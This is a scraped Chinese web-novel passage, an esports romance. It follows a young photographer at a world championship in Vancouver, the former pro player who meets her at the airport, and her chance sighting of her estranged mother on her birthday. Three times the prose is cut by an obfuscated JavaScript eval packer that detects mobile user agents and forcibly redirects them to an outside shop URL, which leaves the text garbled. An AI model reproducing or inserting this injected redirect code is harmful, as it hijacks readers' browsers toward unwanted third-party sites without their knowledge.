前奏响起,她自己先跟着吼了起来,然后推着许恋,拉着舒愿一起晃着她,试图用声浪和肢体动作将她从那个自我封闭的壳里拽出来。 “昨天晚上做了个梦,我走进撒哈拉沙漠……” 起初许恋只是被动地跟着哼唱,但在樊榆雅和舒愿近乎“暴力”的带动下,在重复的副歌里,她真的被旋律带动了。 闭上眼,声音逐渐放开,几乎是用尽力气在嘶喊,将那些烦闷地情绪发泄出来。 一曲终了,三个人都有些脱力地跌坐回沙发,音乐切到了一首舒缓的情歌。 樊榆雅侧过身,拍了拍许恋,声音也放轻下来,“恋恋,你也看了视频,那角度,那剪辑……只是走在一起,周围还有人,这又能证明什么?狗仔的伎俩而已。” 提到索德,许恋又像泄了气一般,刚刚宣泄出去的阴霾重新又盘旋回了她的心底。 她是那种,就算只有有百分之一的可能,也会不顾一切地去努力得到自己想要的,哪怕头破血流。 从前面对妈妈是如此,重逢索德后,她也是抱着这样的想法。 可是爱情好像不太一样,它会有别人的出现。 那天在车上,他突如其来的、略显逾越的问她关于付翊均的话题,她是有生出奢望的。 会想自己距离他的世界,会不会比别人近那么一点点? 可当江可心出现的那瞬间,她好像不得不承认,或许真的有人比她离他更近一步。 他们认识的时间是她认识他的好多倍。 所以,她犹豫了。 但她没想过放弃。 可现在,热搜上的画面像一盆水,浇灭了她最后百分之一的念想。 她不住地想着,索德和江可心发展到哪一步了?自己与他之间,是不是真的注定没有结局? 如果这样,那就守着这份喜欢他的心,好好藏着,不打扰,是她的温柔。 “你问他啊!”樊榆雅看不得她这副样子,一把抓过她扔在沙发上的手机。 屏幕亮起,锁屏上是许恋从给索德拍的第一张照片裁剪下来的——初见那天的月亮。 “现在就发消息!直接问他跟江可心什么关系!你在这里猜来猜去把自己内耗死有什么用?” 许恋每每这样自暴自弃的时候,樊榆雅总会将她从泥潭里拽出来,。 可这一次,许恋的勇气只够她点开与索德的对话框。 他的头像是一只像素模糊的黑色小狗仰头看着镜头。 最上方,是系统官方的通知:“你们已成为好友,现在可以开始聊天了。” 下面,只有孤零零的几条对话记录,和一张索德与周恒衍的背影照。 来自加上好友的那天: D:【我是索德。】 许恋:【一个可爱又略显拘谨的“你好”表情包】 以及她发送的那张他和周恒衍的照片。 D:【很有意义,谢谢你。】 然后,往下是一片无边无际的空白。 许恋没追过男生,她不知道要怎么开始和索德开启聊天。 所以她才会在那几天发一些云里雾里的朋友圈,目的是为了在索德面前打造一个文艺、淑女形象的角色。 那几天,他的一个点赞就足以让她很开心。 原本是想循序渐进来着。 现在,许恋的手指悬在输入框上方,打了几个字:“热搜上的……”又迅速删掉。换成“看到你和江可心……”,还是删掉。 最后,她打了一句“你和她……”,指尖在发送键上徘徊,却最终,还是重重地按下了侧面的锁屏键。 “我感觉,还是不太好……”许恋又将手机放下。 樊榆雅恨铁不成钢地叹了一口气,摇了摇头说道:“恋恋,你记住。爱情没有先来后到,如果有,它就不叫爱情了。” “所以,晚一步遇见他,不代表你一定会输。” - 许恋暗下去的屏幕,亮了起来。 可此时的她正和樊榆雅随着人流走出温哥华国际机场的国际抵达口。 航班晚点了,她们抵达时已近午夜。机场依旧灯火通明,周围陌生的喧嚣与清冷空气包裹了她们。 “终于到了……十几个小时,我感觉魂还在太平洋上空飘着。”樊榆雅揉了揉肩膀,推着行李车,声音里带着困倦的沙哑。 她是自助来陪许恋,甚至还是向辅导员请了几天假。 只因为,许湘琅移民的国家就是加拿大,她得陪着她。 “官方的人联系你没?” “我看看。”许恋说着拿出了手机。 锁屏亮起,然后——她看见屏幕顶端,一条新消息提示。 来自于:索德。 许恋的呼吸猛地一滞。 “怎么了?”樊榆雅察觉异样,抬起头,关切地看过来,“没人来接我们?没事,那我们打车就行。” “不、不是,有人接的。”许恋的声音有些发飘,她早就迫不及待地点开了那条消息。 对话框的文字很简洁。 D:【到了和我打电话。】 她将这条消息递到樊榆雅面前,声音因为激动和兴奋,带着些颤抖:“这句话的意思是不是,他是来接我们的人?” 樊榆雅所有的疲惫瞬间消失不见,她的眼睛瞬间明亮起来,“那快和他打电话!” “喂?”索德很快就接通。 “D、Dexter,我是许恋。”这是她第一次有着明显认知自己是在和他打电话,紧张得有些结巴。 他似乎笑了一瞬,嗓音低哑:“我知道。” “你们现在过海关了吗?” 许恋紧了紧握着行李的手,“我们已经拿到行李了。” “嗯,你们先走到出站口,会看见出口的玻璃。” …… 在他的引导下,她们很快就走到了等候区。 “一个商务车,车牌尾号16S。” 许恋正开始搜寻着,突然一道声音从她的右前方传来。 一起的,还有她手机话筒里的声音响起。 “许恋,这里。” 索德正从一辆车的副驾驶探出头,朝着许恋和樊榆雅的方向招手。 待许恋走近时,他已经解开安全带下了车。 像上次一样,十分自然地接过她们手中的行李箱,走向车尾。 许恋的目光落在了他身上。 近一个月未见,他这次修整了发型,依然保留了狼尾,只是将前头的头发剪短了一些。 看起来没有那么萎靡,精神了很多,没有变的是他依旧很帅气。 许恋按下小鹿乱撞的心跳,语气里是难以藏住的雀跃:“Dexter,怎么是你来接我们呀?” 刚将行李箱装好的索德关上后备箱,他随口解释:“官方找的都是本地司机,怕你们两个女生害怕,就随同来了。” 樊榆雅探究地目光落在索德身上,他可没说是官方派他来的还是自己想来。 于是她没忍住,带着调侃地心思说:“官方好大的面,竟然叫你来接人?” 现在一切的信息都证明,下一个赛季索德一定会加入DBG。可到底还没到转会期,他现在只是作为战队领导层随同来看世界赛的。 按理说,官方是怎么都派遣不动他。 可他却在这。 许恋意识到这一点,猛地抬头看向他,有点……期待他的回复。 面对这个问题,他停住脚步,弯了弯眼角,“原本要随行的工作人员有急事,我恰好路过听见了,就来了。” 樊榆雅哼笑一声,“没想到Dexter也挺热心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206456|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 而许恋,跟在索德后面,面前是他宽广的后背,鼻尖缠绕着属于他的、那股淡淡地薄荷味。 “砰。” 前方的他突然停下脚步,许恋的额头就这样轻轻撞上他的后背。弹开之后,他身上羊毛大衣的触感似乎还在她的额前。 她有些懵地抬头,对上他挑高的眉毛。“走路怎么不看路?” 没等她回答,他就转过身,伸手替她们拉开了后座的车门。 “噢,谢谢。”她还有些晕乎乎。 揉着额头坐进去时,似乎瞥见了他嘴角一抹来不及藏好的笑意。 车子刚启动,樊榆雅就开口问道:“DBG队员是直接回国还是……?” 前天DBG瑞士轮的最后一场比赛输了,止步十六强。 他们签运太差,一路遇到强队,加之又是第一次打世界赛,经验不足,仅在瑞士轮第一天拿下了一个外卡战队,接着便是三连败。 “我哥说看他们,他们想继续看比赛或者去周边玩都行。” “那你呢?” 车内视线昏暗,许恋为了看清他的脸,一手扒着副驾驶的座椅,身体向前倾着。 “看完决赛吧。” “也是10号那天走吗?” “嗯,我们应该是同一航班。” “真的吗?”许恋的内心难掩喜悦,“是下午两点那班吗?” 索德侧头看见的就是那双亮晶晶的眼睛,就像黑夜里只有眼睛发着光的小猫咪一样。 莫名的……可爱。 “嗯。” 机场离官方安排的酒店很近,许恋酝酿了好久关于江可心的话还没问出口,就到了。 她叹着气下车,一抬头就对上了一直在酒店门口等候的付翊均的目光。 “泡芙!” 她快步走过去,人还没走近,话就落入付翊均的耳朵了。 “没关系的,你第一次世界赛已经发挥很好了,我在微博上看到很多人都是夸你的!” 付翊均的实力把把能碾压对面打野,只是这不是一个人的游戏,其他三路的人总有一路打着打着莫名的变成劣势,他原本的优势根本没有多大用处。 付翊均勉强牵起了一抹笑,正想说什么,突然见到走到许恋身旁的樊榆雅,他的话又卡回了喉咙。 樊榆雅双臂随意环抱在胸前,带着大小姐的傲气,开口和他说了几个月以来的第一句话:“尽力了就不算留有遗憾,你明年还有机会。” 他垂了垂眸,“嗯。” 许恋想起行李,连忙回头,只见索德已经帮她们卸下行李,推着两个大行李箱走了过来。 她小跑回去,接过行李箱,语气满是歉意:“Dexter,不好意思啊,我刚刚忘记了。” “没事。”索德的声音低沉简洁,听不出什么情绪。 他的目光极快地扫过付翊均和樊榆雅那边微妙而僵持的气氛,又落回许恋的脸上。 “先办入住。”他说完,便径直转身,领着许恋走向前台。 付翊均看着许恋几乎是亦步亦趋地跟着索德离开的背影,心中掠过一丝难以言喻的闷涩。 他想起小时候许恋跟在他身后跑的样子,又对比此刻她看向索德时眼中那无法完全掩饰的喜悦。 身边的樊榆雅似乎也注意到了这一点,环抱的手臂不经意间收紧了些,嘴角抿成一条平直的线。 前台那边,许恋翻找着证件,偶尔小声和索德确认着什么。索德虽话少,却是有问必答,甚至在她差点碰倒旁边立牌时,伸手虚扶了一下。 那动作也被不远处的付翊均尽收眼底。 樊榆雅忽然轻轻呼出一口气,像是下定了某种决心,对付翊均说:“出去散散步吗?” 她的提议打破了两人之间沉闷的僵局,或许,她也需要暂时离开这个空间,整理看到付翊均目光追随许恋时的心情。 付翊均闻言,有些意外地看向她。却是拒绝:“明天吧,现在太晚了。” “……好。”樊榆雅最终点了点头,不再看他,先一步抬脚走进了酒店。 午夜微凉的空气被隔绝在外。 酒店大堂内,许恋办好了手续,接过房卡,转向索德,真诚地说:“谢谢你啊,这么晚还麻烦你来接我们。” 索德没回话,目光落在她脸上,似乎观察了一下她的气色,“长途飞行,早点休息。” “嗯!”许恋用力点头,随即又想起什么,有些期待又有些犹豫地问:“那个……明天的比赛你会在吗?” 明天是八强比赛的最后一天,OGD对战CCW战队。 今年LPL的抽签运不太好,不是抽到强队就是内战。 索德看着她毫不掩饰的期待眼神,沉默了几秒。 “在,不过是作为观众。” 世界赛有严格的准入权限,DBG淘汰之后,他就没有身份出现在后台了。 “那,明天见!” “好。” 15. 第十五个恋想 许恋第一次站在全球总决赛的舞台进行拍摄,与她从前的任何拍摄都不一样。 身后呼叫的声浪一波接着一波,场馆里充斥着中文、英语、韩语的各类解说声音。 “许恋,你拍CCW那边,我拍OGD这边,行吗?” 开口和许恋说话的是陈椰,她是LPL的第一批官方摄影之一,从业赛事摄影已十余年之久。 许恋刚实习的时候她正在休产假,最近才回来。 说起来,这还是她们第一次见面。 她和程泷刚入行时,刘力就说过:“你们可以多看看陈椰的作品,她很懂得怎么表达照片里的故事感。” “没问题的,陈椰姐。” 说完,许恋开始左顾右盼起来。刚刚忙着赛前准备,这会才突然发现少了一个身影。 “怎么没看见程泷?” 低头调设备的陈椰淡淡地回复:“他被辞退了。” “啊?” “你不知道吗?上次YI上救护车的照片是他拍的。” 许恋自从冒泡赛结束后,又是忙期中又是忙学校的采风课程,根本没时间关注其他事。 也就是说直到现在,她才知道这件事的真相。 其实那天刘力和吴繁森来问自己的时候,她有猜到是程泷拍的那张照片。他这样做无非是想把自己赶跑,这样他就是唯一的实习摄影师,转正自然顺理成章。 她想过官方会包庇他,因为有传言程泷是现在LPL的顶流选手Max的弟弟。 Max从DBG出走后成为了CCW的股东,与官方处于合作关系,有这样的一层关系在,她一直不觉得自己会转正。 但没想到官方直接辞了他。 许恋来这实习,第一个想的是多积累一个摄影行业的经验,第二是想感受索德曾经奋战的赛场是什么样子的。 原本只是把这一次实习当作一次体验。 可现在,索德要重回赛场,还有吴繁森上次和她说的话,让她有了想继续当赛事摄影的念头。 舞台上的选手已经准备就位,许恋收敛情绪退到舞台下为选手拍摄入场照片。 有了上次LPL总决赛的事故,OGD现在几乎是将Heng重新提到了首发的位置。 对俱乐部而言,面对大赛时稳定的心态比强劲的实力更重要。所以他们暂时放弃YI,选择让Heng上场。 Heng也不负众望,和队友一路披荆斩棘的来到了八强。 选手入座后,许恋的肩被拍了拍。她回过头,迎上陈椰的目光。 陈椰陷入工作时整个人都透露着一种沉静地严肃。此刻她微微侧身,指向观众席深处的某个方位,给她传授经验:“除了赛场上的画面,还有一些选手之间的故事羁绊也值得纪念,比如那。” 许恋顺着她指向的方向看去,明明座位很挤,观众在她们眼里几乎是簇成一团的点。 可她却在那些点中,一眼就看到了在人群中格外清晰的身影。 索德。 “看见了吗?”陈椰的声音在她耳边继续:“就最帅的那个,在一堆外国人中间那个耀眼的中国人。他叫Dexter,是现在OGD辅助选手Heng曾经的队友。” 许恋点了点头。 心里想说,才不是因为他在一堆外国人当中显得耀眼,而是因为他本来就耀眼。 大概以为许恋不了解曾经的故事,她特意解释:“他们曾并肩在DBG作战过一年,虽然世界赛止步于亚军,但他们下路双人组的胜率在现在依旧是前几名。” “这样的画面有时候比赛场上的瞬间更值得被拍下来。” 许恋顿了顿,她想到:“那Heng、Max、Grass的同框照需要拍吗?” 他们都是索德那一年并肩的队友。 “可以拍,但这样的画面常规赛已经有过太多次,不够新奇了。” “噢。” 许恋听话地抬起相机,对准索德。 取景器里,索德似乎若有所思,目光忽然从赛场上抬起,越过人海,精准地投向了她所在的方向。 短短地一瞥后,他重新将目光投回舞台。 D:【我看看。】 第一局比赛间隙,忙完后的许恋正打算发几张照片在自己的微博上。 解开屏幕的瞬间,一条属于他发的消息骤然出现在眼前。 发送于半个小时前。 许恋低垂地眼睫眨了眨,这……说的应该是她刚刚拍的他吧? 存着想和他多说几句的心思,她装作不知道发了一个【什么?】 D:【刚刚拍的我。】 许恋勾了勾唇,一股脑地将那几张刚导入手机的照片发送给了他。 L:【干嘛,不相信我的摄影技术?】 L:【我都没P,是不是把你拍得很帅,氛围感这不就出来了。】 收到消息的索德嘴角不自觉地扬了一下。 正要回复,一个迟疑地声音在旁边响起:“您好,是Dexter吗?” 他抬眼,来人是一个年纪不大的男生,在一群外国人当中格外地显眼。 “我以前特别喜欢看您比赛。”男生鼓起勇气,“可以签个名吗?” “好。”索德应了一声。 他先接过笔,而后手在屏幕上敲击了一段文字,等待消息发送成功,他这才在男生递来的应援牌上签下了自己的ID。 D:【拍得很好。】 D:【不过,氛围感不是照片给的。】 D:【是因为我帅。】 …… 许恋盯着这条消息,先是愣了愣,涌上一股“这人真是……”的无语感。 回味后才一股微妙的情绪浮现出来。 或许这样的他才是他原本的底色,剥离了他现在的疏离与内敛。就像第一次见面时,他说的那句:“你拍我,保证能火的,信不信?” 自信而又肆意,带着要强的少年气。 谁说少年心气是不可再生之物,只要有再次追寻、不顾一切的勇气,就一定可以翻盘再来。 比赛很快继续。 3:1,这次OGD甚至没有坚持到决胜局。 弹幕迅速刷起来: 弹幕1:诶哟,这次恒呀都没坚持到决赛 弹幕2:还不如上YI,这磨合度真不行 弹幕3:这下路真的菜,一个要往前冲,一个疯狂往回走,要干嘛啊这是? 弹幕4:Heng赶紧退役吧 …… “许恋,等会你在台上拍CCW吧,我去后台拍OGD。” “哦好。” 陈椰似乎是一个喜欢将各自的职责分得很清楚的一位摄影师。 以前和程泷、刘力等一起合作的时候,大家只会分台前台后这样的职责。不会像陈椰这样,将负责哪一个战队的拍摄都分得如此清楚。 拍摄完CCW胜利的素材后,许恋回头看向台下的某个方向。 那里一个空荡荡地位置格外显眼,原本坐在那的索德不知道什么时候离开了。 -

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206457|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 温哥华的夜,很安静。 许恋从喧嚣的场馆出来时,付翊均和樊榆雅正并肩立在路灯下。 好像很久没看见他们俩站在一起了。 她加快脚步走去,“我来啦!”迎上两人抬头的目光。 樊榆雅扬起笑,“走吧,我们吃饭去。” 餐馆是樊榆雅选的,坐落在一条僻静地道路尽头。 刚坐下,许恋的手机便传来震动。 她低头看了一眼,“我大姨给我打电话了,你们等我一下。”说完,她又起身向外走。 推开门,温哥华的晚风带着海洋的咸涩扑面而来。 她找到一处角落的地方,接通了许江琳的电话。 “恋恋,生日快乐呀!”刚接通,许江琳的声音就传了过来。 许恋握着手机的手一紧,她下意识地抬眼看了眼时间:19:00,也就是中国的8:00,许江琳的起床时间。 她甚至能想象得到许江琳此刻的样子,将姨父和陆知遥叫起床,然后拉开窗帘,让清晨的光洒满客厅。 许恋不爱自己的生日。 许江琳比谁都清楚这一点,可她这三年的每次生日她都固执地、隆重替她准备着。 试图用新的记忆去冲刷掉那些曾经不好的记忆。 在许江琳心里,她觉得人心就像一个文物。即使经过时间的沉淀、即使有了裂缝、即使破碎。也会有人愿意一片片拾起,用理解和温柔将它重新粘合。 但许恋心中,有好多个不快乐的生日。 她觉得碎了的文物就是碎了,那些曾经的裂缝即使再完美,它也依旧在。 许恋张了张嘴,等夜风带走她喉间的哽咽,才尽可能用轻快平稳地声音回复:“谢谢大姨。” “吃过饭了吗?”许江琳的声音依旧温和。 “在餐馆,和碎碎还有付翊均一起。” “那就好。” 许江琳话题一转,揉了揉困倦地眼睛,凑近镜头问许恋:“我今天看你拍的那个比赛,在电脑面前等了好久都没看到你的身影。” 许恋还有点伤感的情绪一扫而空,她哭笑不得:“大姨,我又不是电竞选手,怎么会给我镜头。” “不是呀,以前我看他们放全景的时候,是可以看到你在拍照的。“ 许恋一愣,怎么会有人在看不懂的比赛里寻找自己的身影。 就为了那一眼…… 她的双眼没由来的泛起微微酸涩。 手机画面里的许江琳抬眼看了一眼别的方向,接着急匆匆地与许恋告别:“行了,遥遥过来了,我不和你说了,你快去和朋友吃饭吧。” “在国外好好照顾自己,等回来大姨给你补一顿大餐。” “我知道的,大姨。”许恋的声音有些发紧,她清了清嗓子,“您也多注意身体,别老惦记我。” “那不行,你可是我唯一的外甥女。” 挂电话前又留下一句:“今天一定要开开心心的啊。” 这句话在许恋耳边回荡了很久,直到手机屏幕暗下去。她退后一步靠上粗糙冰冷的墙面。 怎么会有点想哭…… 原来她也配得上“唯一“这个称号,原来有人会在不熟悉的领域里去找到她。 她仰起头,深深地吸了一口气,试图压下心头翻涌地酸楚。 就在她准备抬手抹一下眼角的湿意时,一阵轻缓而平稳地脚步声,由远及近。 许恋循声望去,路灯在不远处投下朦胧地光晕,两个修长挺拔地身影出现在拐角处。 16. 第十六个恋想 “许恋?” 是索德先发现的她。 周恒衍今天输了比赛心情不是很好,他对许恋点了点头。没有寒暄的想法,侧头对索德说:“我先进去点菜?” 索德从兜里拿出什么递给他:“翻译器拿着。” “嗯。” 等周恒衍进了餐馆,门内的热闹与温暖被彻底隔绝。 “怎么了吗?”他的视线紧紧地落在她的面容上,向她走近一步。 “没什么。” 许恋敛下情绪,走到那一片光晕下。 她想抬头看索德,却瞬间被街对面一家灯火通明的餐厅吸引了目光。 刚刚所有的伤感一瞬间全都消失无踪,许恋僵在原地,死死地盯着那面明亮的落地窗。 落地窗内,有她最熟悉又陌生的身影。 许湘琅,三年前的今日,将她一个人留在京市的妈妈。 而此刻的她,怀中抱着一个约莫两岁的小男孩。手中抓着一只玩具熊,她微微俯身,脸颊贴着他的额头,眉眼上扬着。 那是许恋记忆里从来没有过的、如此温柔地许湘琅。 他们身旁的门再一次传来“吱呀”声。 付翊均推开门走了出来,看见两人,愣了一愣。 “Dexter,你怎么在这?” 他似乎只是随口一问,并不在意索德的回答。下一秒目光落在了许恋身上,语气是熟稔地关切:“怎么打个电话打这么久?” 见她一瞬不瞬地盯着某个地方,他伸手在她眼前晃了晃,“喂,别发呆了,回去吃饭了。” 索德也随之顺着她的目光转身看向对面街道。 许恋恍然回神,眼框顿时蓄满了眼泪,声音颤抖:“付翊均……”,表情略显无助。 仅仅只侧头看了他一眼,她的目光又回到了那片明亮的落地窗。 付翊均这才看清她的神情,整个人瞬间严肃起来,顺着许恋的目光望去。 然后,他顿住了。 迟疑地开口:“许阿姨?” 就在他开口的瞬间,对面的许湘琅像是有所察觉。在她即将抬头透过透明的落地窗对上许恋目光的瞬间,许恋猛地向右移动一步,拉住了索德的手臂,将整个人躲在了索德高大的身影之后。 付翊均表情凝重,嘱咐索德:“我去见见,你带她先上去吧,外面冷。” 便走向了对面。 许恋的额头抵在索德宽广的后背,她紧闭着双眼,睫毛不住地颤抖着,压抑着那种想再看妈妈一眼的冲动。 不要,她不喜欢自己,那就不要再打扰她了,哪怕只是一眼都不可以。 她脑海里充斥着这样的劝诫。 而她抓着索德的那双手不自觉地收紧。就像把所有的力气、这三年所有积压的恐惧、委屈、愤怒和所有难以言说的渴望,爆发在此刻。 她滚烫的眼泪迅速盈满眼眶,然后大颗大颗地滚落。 索德很明显地感受到,她像是用尽全身的力抓住了他的手臂。 而且,她在发抖。 许恋控制不住地想,付翊均过去了多久,他和许湘琅说了什么,她又会不会问到自己。 时间在这样纷乱地情绪中过了很久,直到被她死死攥住的那条手臂,轻轻动了一下。 许恋恍然回神,她猛地松开了握着索德手臂的手。 对他的歉意后知后觉地涌上来。 “许恋。” 索德的声音在前方响起,低沉、平稳,一下子让她复杂的心安静下来。 他转过身,拉起她的手臂,将她带到了刚刚和许江琳打电话的角落。 这里隔绝了拐角处的风,也隔绝了她看向对面街道的视线。 许恋仓促地抬起手,用手背胡乱地擦去脸上的泪,动作又快又急。 她在他面前的人设不应该是这样,没人会喜欢她的这一面。再难过,也想要在他面前保持阳光、美好的一面。 索德没有开口,目光落在她湿漉漉的脸上和慌乱擦拭的手上。沉默地伸出手探向自己的大衣口袋,他拿出了一包纸巾,抽出一张。并没有直接递到她手里,而是轻轻展开,替她擦去了眼泪,然后将那一包纸放到了她手心。 他半屈膝,看到她此刻满脸的泪。抬手替她将糟乱的头发捋顺,轻轻地开口:“你怎么……每次哭泣都是没有声音的?” 许恋擦泪的动作僵住,愕然抬头,透过朦胧的泪眼,迟滞的思维慢慢转动。 她吸了吸鼻子,“因为妈妈不喜欢我哭。” 所以她总会躲在被子里,一个人偷偷地哭,压抑住自己的哭声。 索德往后退一步,拉着她的手搭在自己的手臂上,然后转身。 “哭是一种情绪的宣泄,这是属于你自己的情绪,不要因为任何人不喜欢就压抑自己,知道吗?” “你哭吧,我不看。” 许恋的情绪在这一瞬间卡了壳。 怎么会有人不安慰人,还让人家一直哭的。 她捏了捏他的手臂,一边抽泣一边问:“那、让我、搭着你的手臂、是为什么?” 索德略微侧头,只给她一张侧脸,“我以为这是你哭泣时的自我安抚行为。” 许恋情绪低落或者焦虑时是喜欢捏手上的东西。至于这一次捏的是他手臂,纯属刚刚躲在他身后忘了放下来。 “对不起啊……” 他回过头,“我没有觉得你做错什么,继续哭会吧。” 他语气里的温柔,落在许恋耳里,就像他纵容自己在他面前宣泄情绪。 在说,你怎么样都好。 她全部的世界,只剩眼前这片深色的衣料,和自己震耳欲聋的心跳。 她的情绪渐渐缓和下来,抽噎渐止,后知后觉想起什么。 带着浓厚地鼻音问他:“我哭得你衣服后面全是眼泪,这样……你女朋友不会生气吗?” 许恋听见头顶传来一声很低的轻笑。 “我哪来的女朋友?” 许恋的思维被带跑偏,她喏喏地说:“前几天热搜上,说你和江可心……” 她的声音越来越低,抓住他手臂的手越来越紧。 “你也信那样的新闻吗?” 索德没有转身,他微调了一下站姿,让她靠得更稳。 “照这样说,如果现在的我和你被拍下来了,别人也可以说你是我女朋友?” 许恋默了默,她倒是挺想是的,可惜不是啊。 “现在好些了吗?” 她松开拉着他手臂的手,语气依旧闷闷的,但比刚刚舒畅多了,“好些了。” 拐角处传来的脚步声打断了两人的交流,付翊均从对面街道跑回来,他快步走到许恋面前,气还没喘匀就开口:“恋恋,你还好吗?” 许恋从角落里走出来,勉强扬起一抹笑,“好了。” 大姨说,今天要开开心心的。 那就不去想刚刚那一幕了。 三人回到餐馆时,周恒衍已经被樊榆雅拉到了他们的餐桌上。 樊榆雅在楼梯那看见许恋的身影就开始邀功,“恋恋,我看他们两个人吃多冷清,就拉着和我们一起了……” 然后,她看见了许恋通红的双眼,明显是刚哭过。 瞬间,她的笑收了回去,严肃地目光落在索德身上,声音也骤然低沉:“你把她怎么了?” “不、不是。碎碎,他没怎么我。” 可那个理由许恋又不想说出口,好不容易走出来的情绪,再回想0.1秒都会让她瞬间崩溃。 付翊均快步走到樊榆雅身边拉了拉她,“等会和你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206458|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 樊榆雅迟疑地目光落在付翊均和许恋身上,随后装作不在乎的移开目光。 “行,今天谁都不许惹恋恋不开心,今天她最大!” 许恋久违地笑了,拉开椅子坐下,“现在是加拿大时间11月2日,不是11月3日。” “那不行,我们是中国人,得按中国的时间过,今天就是你生日。” 索德拉椅子的手顿了一顿,侧头看向许恋,“今天你生日?” “嗯。” 她将头发随手挽成一个低低地丸子头,几缕碎发漏下来,松松地垂在耳畔。 索德的心里蓦然一空,安静地入了座。 这顿饭说不上气氛有多么活跃,两个刚经历了比赛失败,一个又看见了不想看见的一幕,另一个性格内敛。 只有樊榆雅努力地维持着氛围。 到后面,她也累了,干脆就摆烂。反正大家不说话也不尴尬,就这样吧。 “今天发生什么了,怎么你和大姨打完电话之后回来就哭了?” 回到酒店房间,樊榆雅将身上的包卸下来后,坐到许恋旁边问道。 “嗯……”许恋坐在床边,她垂眸。 “看见我妈了。” “什么?!”樊榆雅直接弹射起步,站了起来。 她陪许恋来加拿大,为的是害怕她看见这里的风景会想到许湘琅,让许恋在触景伤情时能有她的陪伴。 但能真的遇见许湘琅这件事,她是想都没想过的。毕竟加拿大有那么多城市又那么大…… 怎么能偏偏就是在温哥华,偏偏许湘琅今天出门了,偏偏许恋今天还遇到了…… 许恋深吸一口气,“但是没关系,我遇到了索德,我很开心。” 她是那种,即使有再多不好的事发生,只要有一件好事出现,刻意地不去想那些不好的事,她的情绪就能稳定下来。 等到某一个深夜,她的情绪桶装不下了,就爆发一次。 这是属于她的坏情绪宣泄方式。 “我真后悔。”樊榆雅抓了抓头发,又在床边坐了下来。 “后悔什么?” “我不应该选那个餐馆。”她看着面前刻意隐藏情绪的许恋。 她说:“其实人生没有那么多巧合。” “你今天会遇到索德,是因为我特意在酒店大厅等了一天,装作偶遇他,打探到他和Heng会去那家餐馆。” “要是我不这样做,你是不是就不会……” 许恋将她抓着头发的手拉了下来,温柔地握在手里,“不怪你,碎碎。” “其实我今天看见妈妈,第二反应是开心。”她说到这,嘴角竟真的微微上扬。 她确实应该恨她、应该愤怒、应该冲上去去质问她。 可当一瞬间的伤心过后,她才发现,想念她的情绪,要比恨她的情绪浓度更厚。 “或许,这一切是我应得的。”许恋语气沉沉。 “虽然我很伤心她离开我,很伤心看见她有了弟弟,很伤心看见了她没对我有过的温柔。” 她停顿了很久,才带着一丝释怀地笑意继续开口:“但我真的很开心,很开心再看见她。” “她过得很好,那就好了。” 她今天哭,是觉得对不起十八岁的自己。许湘琅让她的十八岁那样黑暗,可她竟然做不到恨她、报复她。 话音落下的瞬间,樊榆雅的眼泪比她更快地夺眶而出。 因为她读懂了她的所有情绪。 她猛地将许恋紧紧地抱进怀里,“恋恋,没关系的,十八岁的许恋不会怪你的。” 许恋一直强撑地脊背终于一点点弯下来,她将脸埋进樊榆雅的颈窝。 今天一直以来无声的颤抖和眼泪,终于在此刻变成撕心裂肺地痛哭。 17. 第十七个恋想 今年的世界赛,对于LPL来说,在CCW止步于四强时落幕。 但许恋的工作没有停止,她完成最后一天决赛的拍摄工作,才真正结束这次世界赛的所有工作。 第二天许恋就马不停蹄地赶飞机回国了。 巧的是,她乘坐的这趟回国航班,除了意料之中的索德,其他大多都是熟面孔。 电竞选手、工作人员,几乎都在这次世界赛上打过照面。 机舱里正弥漫着航班起飞前特有的喧嚣。 樊榆雅轻轻将遮阳板关上,隔绝了外面的风景。她特意选坐在窗边,是担心飞机起飞后,许恋看见窗下逐渐缩小的城市会不自觉乱想。 付翊均和Sea就坐在她们前排,Sea是个话匣子,他兴致勃勃地找她们搭话,已经转过了大半个身子。 他很会逗女孩开心,许恋和樊榆雅时不时被他说的话戳中笑点。 “真的,A子天天卷我们Rank就算了,还卷健身……”他正说到最近健身的事,眼神一滑溜,看见一道欣长挺拔的身影从前方商务舱过来。 “Dexter!”Sea立刻扬起声调,朝他招了招手。 索德闻声,朝Sea微微颔首。 飞机上有很多LPL工作人员、又或是选手纷纷朝着索德的方向望去。 虽说索德复出的事已经人尽皆知,可他要不就是安静地呆在DBG休息室,要不就是坐在观众席上看比赛。 总是神秘感十足,又不怎么和DBG队员以外的人交流。 作为LPL史上最强的天赋怪,还长着那样一张堪比明星的脸。没有人会对他不好奇,没有人会不想接近他。 索德对身边那些充满探究又或是迷恋的眼神漠不关心。 他的目光只落在一处。 许恋察觉到身旁有一抹阴影,她仰起脸。 